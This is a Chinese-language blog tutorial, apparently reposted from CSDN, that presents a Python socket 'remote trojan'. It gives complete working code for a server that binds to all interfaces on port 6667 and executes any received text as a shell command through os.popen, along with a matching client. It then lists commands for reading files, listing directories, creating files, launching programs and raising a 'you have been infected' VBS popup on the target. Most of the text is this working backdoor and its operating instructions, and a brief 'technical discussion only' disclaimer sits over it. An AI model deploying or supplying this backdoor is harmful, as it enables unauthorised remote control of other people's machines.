Python Socket实现远程木马弹窗详解
作者:共黄昏 时间:2022-11-28 10:04:39
严正声明:本文仅限于技术讨论,严禁用于其他用途。
基础知识
socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间
编码:
英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)
中文多:建议用UTF-16编码
中文:window中文采用的是GBK格式编码
netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了
服务端(server)程序
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() # 对6667端口进行监听
chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
客户端(client)程序
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))#192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()
其他命令执行函数
提示:需要导入 os 模块—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 将字符串按照Python代码来执行
该木马程序的基本用法
1、查看文件内容
window
type 文件绝对路径
linux
cat 文件路径
2、查看文件目录
window
dir #查看当前文件路径目录
dir 文件路径 #查看指定文件路径目录
linux
ls #查看当前文件路径目录
ll #查看当前文件路径目录详细信息
ls 文件路径 #查看指定文件路径目录
ll 文件路径 #查看指定文件路径目录详细信息
3、创建文件或目录
windows
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
linux
mkdir 路径 #创建目录
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
4、调用windows应用程序
调用计算器
calc.exe
调用其他引用程序
直接输入应用程序绝对路径
5、调用Windows弹窗
echo msgbox("你中木马了!!") > E:\hi.vbs
E:\hi.vbs
来源:https://blog.csdn.net/weixin_49472648/article/details/125308268